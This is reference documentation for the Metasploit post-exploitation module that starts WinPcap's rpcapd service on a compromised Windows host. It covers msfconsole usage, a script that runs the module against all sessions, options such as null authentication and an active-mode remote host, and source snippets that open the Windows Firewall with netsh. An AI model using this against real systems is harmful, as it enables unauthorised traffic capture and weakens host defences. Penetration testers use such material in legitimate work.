Windows Manage Remote Packet Capture Service Starter - Metasploit


This page contains detailed information about how to use the post/windows/manage/rpcapd_start metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Remote Packet Capture Service Starter
Module: post/windows/manage/rpcapd_start
Source code: modules/post/windows/manage/rpcapd_start.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module enables the Remote Packet Capture System (rpcapd service) included in the default installation of Winpcap. The module allows you to set up the service in passive or active mode (useful if the client is behind a firewall). If authentication is enabled you need a local user account to capture traffic. PORT will be used depending of the mode configured.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/rpcapd_start

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/rpcapd_start
msf post(rpcapd_start) > show options
    ... show and set options ...
msf post(rpcapd_start) > set SESSION session-id
msf post(rpcapd_start) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/rpcapd_start")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/rpcapd_start post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/rpcapd_start

msf6 post(windows/manage/rpcapd_start) > show info

       Name: Windows Manage Remote Packet Capture Service Starter
     Module: post/windows/manage/rpcapd_start
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  ACTIVE    false            yes       Enable rpcapd in active mode (passive by default).
  NULLAUTH  true             yes       Enable Null Authentication.
  PORT      2002             yes       Local/Remote port to capture traffic.
  RHOST                      no        Remote host to connect (set in active mode only).
  SESSION                    yes       The session to run this module on.

Description:
  This module enables the Remote Packet Capture System (rpcapd 
  service) included in the default installation of Winpcap. The module 
  allows you to set up the service in passive or active mode (useful 
  if the client is behind a firewall). If authentication is enabled 
  you need a local user account to capture traffic. PORT will be used 
  depending of the mode configured.

Module Options


This is a complete list of options available in the windows/manage/rpcapd_start post exploitation module:

msf6 post(windows/manage/rpcapd_start) > show options

Module options (post/windows/manage/rpcapd_start):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ACTIVE    false            yes       Enable rpcapd in active mode (passive by default).
   NULLAUTH  true             yes       Enable Null Authentication.
   PORT      2002             yes       Local/Remote port to capture traffic.
   RHOST                      no        Remote host to connect (set in active mode only).
   SESSION                    yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/rpcapd_start post exploitation module:

msf6 post(windows/manage/rpcapd_start) > show advanced

Module advanced options (post/windows/manage/rpcapd_start):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/rpcapd_start module can do:

msf6 post(windows/manage/rpcapd_start) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/rpcapd_start post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/rpcapd_start) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This machine doesn't seem to have the rpcapd service


Here is a relevant code snippet related to the "This machine doesn't seem to have the rpcapd service" error message:

37:	    if is_admin?
38:	      serv = service_info("rpcapd")
39:	      print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
40:	
41:	      if serv[:display] !~ /remote/i
42:	        print_error("This machine doesn't seem to have the rpcapd service")
43:	      else
44:	        print_status("Rpcap service found: #{serv[:display]}")
45:	
46:	        start_type = serv[:starttype]
47:	        prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"

RHOST is not set


Here is a relevant code snippet related to the "RHOST is not set" error message:

49:	          print_status("Setting rpcapd as 'auto' service")
50:	          service_change_startup("rpcapd", START_TYPE_AUTO)
51:	        end
52:	        if datastore['ACTIVE']
53:	          if datastore['RHOST'].nil?
54:	            print_error("RHOST is not set ")
55:	            return
56:	          else
57:	            p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
58:	            print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
59:	          end

You don't have enough privileges. Try getsystem.


Here is a relevant code snippet related to the "You don't have enough privileges. Try getsystem." error message:

66:	          p<< "-n"
67:	        end
68:	        run_rpcapd(p)
69:	      end
70:	    else
71:	      print_error("You don't have enough privileges. Try getsystem.")
72:	    end
73:	  end
74:	
75:	  def run_rpcapd(p)
76:	    service_name = "rpcapd"

There was an error restarting rpcapd.exe.


Here is a relevant code snippet related to the "There was an error restarting rpcapd.exe." error message:

76:	    service_name = "rpcapd"
77:	    begin
78:	      if service_restart(service_name)
79:	        print_good("Rpcapd started successfully: #{p}")
80:	      else
81:	        print_error("There was an error restarting rpcapd.exe.")
82:	      end
83:	    rescue ::Exception => e
84:	      print_error("The following Error was encountered: #{e.class} #{e}")
85:	    end
86:	  end

The following Error was encountered: <E.CLASS> <E>


Here is a relevant code snippet related to the "The following Error was encountered: <E.CLASS> <E>" error message:

79:	        print_good("Rpcapd started successfully: #{p}")
80:	      else
81:	        print_error("There was an error restarting rpcapd.exe.")
82:	      end
83:	    rescue ::Exception => e
84:	      print_error("The following Error was encountered: #{e.class} #{e}")
85:	    end
86:	  end
87:	
88:	  def fw_enable(prog)
89:	    print_status("Enabling rpcapd.exe in Windows Firewall")

rpcad.exe doesn't exist in <PROG>. Check the installation of WinPcap


Here is a relevant code snippet related to the "rpcad.exe doesn't exist in <PROG>. Check the installation of WinPcap" error message:

89:	    print_status("Enabling rpcapd.exe in Windows Firewall")
90:	    begin
91:	      if file_exist?(prog)
92:	        cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
93:	      else
94:	        print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
95:	      end
96:	    rescue::Exception => e
97:	      print_status("The following Error was encountered: #{e.class} #{e}")
98:	    end
99:	  end

The following Error was encountered: <E.CLASS> <E>


Here is a relevant code snippet related to the "The following Error was encountered: <E.CLASS> <E>" error message:

90:	    begin
91:	      if file_exist?(prog)
92:	        cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
93:	      else
94:	        print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
95:	      end
96:	    rescue::Exception => e
97:	      print_status("The following Error was encountered: #{e.class} #{e}")
98:	    end
99:	  end
100:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.